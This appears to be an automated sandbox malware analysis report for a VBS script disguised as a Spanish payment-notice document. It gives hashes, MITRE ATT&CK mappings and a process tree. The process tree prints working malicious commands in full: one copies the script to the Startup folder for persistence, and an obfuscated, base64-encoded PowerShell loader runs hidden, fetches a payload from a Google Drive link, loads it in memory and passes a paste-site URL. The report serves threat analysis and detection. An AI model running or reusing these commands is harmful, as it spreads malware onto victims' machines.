ac6feffb1c2ea23c256c6b1a4a6dd2e1b56e55f7900fa635c656e62738924e7b

General

Target

COPIA_ANEXA_DOCUMENTO_DE_REPORTE_Y_NOTIFICACION_POR_SALDOS_PENDIENTES_DE_PAGO_CONCEPTO_OPERACIONES_M.vbs
Size

68KB
MD5

943b9220d27c71f1f97524ea87db7ebd
SHA1

d57a52c81bcff8ea2f4def7646aa9d4fb3dc9972
SHA256

370e7db7155cd9b03875431462ffc8223dcc4bf7c1dcb5a07420e84bc6316d93
SHA512

a6e66e74af19902ba71154a17f4625690638b57ba2fc419a19040bce1c5c3b81f64049687dd666d0471f6075675ad0c831ebedd8f0cfef1a6de28a65db9bff58
SSDEEP

1536:bUJW4Wrle/PhG+/kery+bGNccc3gt5pzKUGwm:jS7rgt5p3Gwm

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://drive.google.com/uc?export=download&id=1UyHqwrnXClKBJ3j63Ll1t2StVgGxbSt0

exe.dropper

https://drive.google.com/uc?export=download&id=1UyHqwrnXClKBJ3j63Ll1t2StVgGxbSt0

Signatures

Blocklisted process makes network request 4 IoCs

flow	pid	Process
2	2352	WScript.exe
4	2352	WScript.exe
8	2624	powershell.exe
10	2624	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2816	powershell.exe
2920	powershell.exe
2624	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CJJ.vbs	WScript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CJJ.vbs	WScript.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
7	drive.google.com
8	drive.google.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2052	cmd.exe
2712	PING.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2712	PING.EXE

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	2	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	4	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2816	powershell.exe
2920	powershell.exe
2624	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2816	powershell.exe
Token: SeDebugPrivilege	2920	powershell.exe
Token: SeDebugPrivilege	2624	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2352 wrote to memory of 2052	2352	WScript.exe	30
PID 2352 wrote to memory of 2052	2352	WScript.exe	30
PID 2352 wrote to memory of 2052	2352	WScript.exe	30
PID 2052 wrote to memory of 2712	2052	cmd.exe	32
PID 2052 wrote to memory of 2712	2052	cmd.exe	32
PID 2052 wrote to memory of 2712	2052	cmd.exe	32
PID 2052 wrote to memory of 2816	2052	cmd.exe	33
PID 2052 wrote to memory of 2816	2052	cmd.exe	33
PID 2052 wrote to memory of 2816	2052	cmd.exe	33
PID 2352 wrote to memory of 2920	2352	WScript.exe	34
PID 2352 wrote to memory of 2920	2352	WScript.exe	34
PID 2352 wrote to memory of 2920	2352	WScript.exe	34
PID 2920 wrote to memory of 2624	2920	powershell.exe	36
PID 2920 wrote to memory of 2624	2920	powershell.exe	36
PID 2920 wrote to memory of 2624	2920	powershell.exe	36

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\COPIA_ANEXA_DOCUMENTO_DE_REPORTE_Y_NOTIFICACION_POR_SALDOS_PENDIENTES_DE_PAGO_CONCEPTO_OPERACIONES_M.vbs"
1⤵
- Blocklisted process makes network request
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:2352
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\COPIA_ANEXA_DOCUMENTO_DE_REPORTE_Y_NOTIFICACION_POR_SALDOS_PENDIENTES_DE_PAGO_CONCEPTO_OPERACIONES_M.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.JJC.vbs')')
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2052
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1 -n 10
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2712
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\COPIA_ANEXA_DOCUMENTO_DE_REPORTE_Y_NOTIFICACION_POR_SALDOS_PENDIENTES_DE_PAGO_CONCEPTO_OPERACIONES_M.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.JJC.vbs')')
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2816
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiggJHBTaG9NRVs0XSskUFNob21FWzM0XSsnWCcpKCgnNVFWaW1hZ2VVcmwgPSBNVklodHRwczovL2RyaXZlLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd25sb2FkJmlkPTFVeUhxd3JuWENsSycrJ0JKM2o2M0xsMXQyU3RWZ0d4YlN0MCBNVkk7NVFWd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaScrJ2VudDs1UVZpbWFnZUJ5dGVzID0gNVFWd2ViQ2xpZW50LicrJ0Rvd25sb2FkRGF0YSg1UVZpbWFnZVVybCk7NVFWaW1hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoNVFWaW1hZ2VCeXRlJysncyk7NScrJ1FWc3RhcnRGbGFnID0gTVZJPDxCQVNFNjRfU1RBUlQ+Pk0nKydWSTs1UVZlbmRGbGFnID0gTVZJPDxCQVNFNjRfRU5EPj5NVkk7NVFWJysnc3RhcnRJbmRleCA9IDVRVmltYWdlVGV4dC5JbmRleE9mKDVRVnN0YXJ0RmxhZyk7NVFWZW5kSW5kZXggPSA1UVZpbWFnZVRleHQuSW5kZXhPZig1UVZlbmRGJysnbGFnKTs1UVZzdGEnKydydEluZGV4IC1nZSAwIC1hbmQgNVFWZW5kSW5kZXggLWd0IDVRVnN0YXJ0SW5kJysnZXg7NVFWc3RhcnRJbmRleCArPSA1UVZzdGFydEZsYWcuTGVuZ3RoOzVRVmJhc2UnKyc2NCcrJ0xlbmd0aCA9IDVRVicrJ2VuZEluZGV4IC0gNVFWJysnc3RhcnRJbmRleDs1UVZiYXNlNjRDb21tYW5kID0nKycgNVFWaW1hZ2VUZXh0LlN1YnN0cmluZyg1UVZzdGFydEluZGV4LCA1UVZiYXNlNjRMZW5ndGgpOzVRVmJhc2U2NFJldmVyc2VkID0gLScrJ2pvaW4gKDVRVmJhc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSBaYlknKycgRm8nKydyRWFjaC1PYmplY3QgeyA1UVZfIH0pWy0xLi4tKDVRVmJhc2U2NCcrJ0NvbW1hJysnbmQuTGVuZ3RoKV07NScrJ1FWY29tbWFuZEJ5dGVzID0gW1N5c3RlbS4nKydDb252ZXJ0XTo6RnJvbUJhJysnc2U2JysnNFN0cmluZyg1UVZiYXNlNjRSZXZlcnNlZCk7NVFWJysnbCcrJ29hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKDVRVmNvbW1hbmRCeXRlJysncyk7NVFWdmFpTWV0aG9kID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZChNVklWQUlNVkkpOzVRVnZhaU1ldGhvZC4nKydJbnZva2UoNVFWbnVsbCwgQChNJysnVkkwL2F3aVNJLycrJ2QvZWUuZXRzYXAvLzpzcHR0aE1WSSwgTVZJZGUnKydzYXRpdmFkb01WSSwgTVZJZGVzYXRpdmFkb01WSSwgTVZJZGVzYXRpdmFkb01WSSwgTVZJTVNCdWlsZE1WSSwgTVZJZGVzYXRpdmFkb01WSSwgJysnTVZJZGVzYXRpdmFkb01WSSxNVklkZXNhdGl2YWRvTVZJLCcrJ01WSWRlc2F0aScrJ3ZhZG9NVkksTScrJ1ZJZGVzYXRpdmFkb01WSSxNVklkZXNhdGl2YWRvTVZJLE1WSWRlc2F0aXZhZCcrJ29NVkksJysnTVZJMU1WSSxNVklkZXNhdGl2JysnYWRvTVZJKSk7JykucmVwbGFjZSgoW2NIQVJdOTArW2NIQVJdOTgrW2NIQVJdODkpLFtzdFJpTkddW2NIQVJdMTI0KS5yZXBsYWNlKChbY0hBUl03NytbY0hBUl04NitbY0hBUl03MyksW3N0UmlOR11bY0hBUl0zOSkucmVwbGFjZSgnNVFWJyxbc3RSaU5HXVtjSEFSXTM2KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2920
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&( $pShoME[4]+$PShomE[34]+'X')(('5QVimageUrl = MVIhttps://drive.google.com/uc?export=download&id=1UyHqwrnXClK'+'BJ3j63Ll1t2StVgGxbSt0 MVI;5QVwebClient = New-Object System.Net.WebCli'+'ent;5QVimageBytes = 5QVwebClient.'+'DownloadData(5QVimageUrl);5QVimageText = [System.Text.Encoding]::UTF8.GetString(5QVimageByte'+'s);5'+'QVstartFlag = MVI<<BASE64_START>>M'+'VI;5QVendFlag = MVI<<BASE64_END>>MVI;5QV'+'startIndex = 5QVimageText.IndexOf(5QVstartFlag);5QVendIndex = 5QVimageText.IndexOf(5QVendF'+'lag);5QVsta'+'rtIndex -ge 0 -and 5QVendIndex -gt 5QVstartInd'+'ex;5QVstartIndex += 5QVstartFlag.Length;5QVbase'+'64'+'Length = 5QV'+'endIndex - 5QV'+'startIndex;5QVbase64Command ='+' 5QVimageText.Substring(5QVstartIndex, 5QVbase64Length);5QVbase64Reversed = -'+'join (5QVbase64Command.ToCharArray() ZbY'+' Fo'+'rEach-Object { 5QV_ })[-1..-(5QVbase64'+'Comma'+'nd.Length)];5'+'QVcommandBytes = [System.'+'Convert]::FromBa'+'se6'+'4String(5QVbase64Reversed);5QV'+'l'+'oadedAssembly = [System.Reflection.Assembly]::Load(5QVcommandByte'+'s);5QVvaiMethod = [dnlib.IO.Home].GetMethod(MVIVAIMVI);5QVvaiMethod.'+'Invoke(5QVnull, @(M'+'VI0/awiSI/'+'d/ee.etsap//:sptthMVI, MVIde'+'sativadoMVI, MVIdesativadoMVI, MVIdesativadoMVI, MVIMSBuildMVI, MVIdesativadoMVI, '+'MVIdesativadoMVI,MVIdesativadoMVI,'+'MVIdesati'+'vadoMVI,M'+'VIdesativadoMVI,MVIdesativadoMVI,MVIdesativad'+'oMVI,'+'MVI1MVI,MVIdesativ'+'adoMVI));').replace(([cHAR]90+[cHAR]98+[cHAR]89),[stRiNG][cHAR]124).replace(([cHAR]77+[cHAR]86+[cHAR]73),[stRiNG][cHAR]39).replace('5QV',[stRiNG][cHAR]36) )"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2624

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Remote System Discovery

1

T1018

System Information Discovery

1

T1082

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\6SLSBRBKNIYQWPL6YPW6.temp

Filesize
7KB

MD5
fb7332f9d241431e053e897248f00c38

SHA1
abb7242068a159d13253f2aa76f137c596793cc2

SHA256
807b12d389a58eb7827983d49069d239f24d40795048d57b0ede2a15b3d4df34

SHA512
751c5399188798798800ad7cab78c1137ca5ce77254c4440c890f8a8b062fb646614d32c0d3e83fd4b5c59d603868a15b1a33c73a033761728486ea4e761db6c

Download Submit
memory/2624-29-0x000000001AD30000-0x000000001AE88000-memory.dmp

Filesize
1.3MB

Download
memory/2816-8-0x0000000002960000-0x0000000002968000-memory.dmp

Filesize
32KB

Download
memory/2816-7-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp

Filesize
9.6MB

Download
memory/2816-11-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp

Filesize
9.6MB

Download
memory/2816-10-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp

Filesize
9.6MB

Download
memory/2816-12-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp

Filesize
9.6MB

Download
memory/2816-13-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp

Filesize
9.6MB

Download
memory/2816-5-0x000007FEF60AE000-0x000007FEF60AF000-memory.dmp

Filesize
4KB

Download
memory/2816-9-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp

Filesize
9.6MB

Download
memory/2816-6-0x000000001B5B0000-0x000000001B892000-memory.dmp

Filesize
2.9MB

Download
memory/2920-20-0x0000000001E80000-0x0000000001E88000-memory.dmp

Filesize
32KB

Download
memory/2920-19-0x000000001B630000-0x000000001B912000-memory.dmp

Filesize
2.9MB

Download

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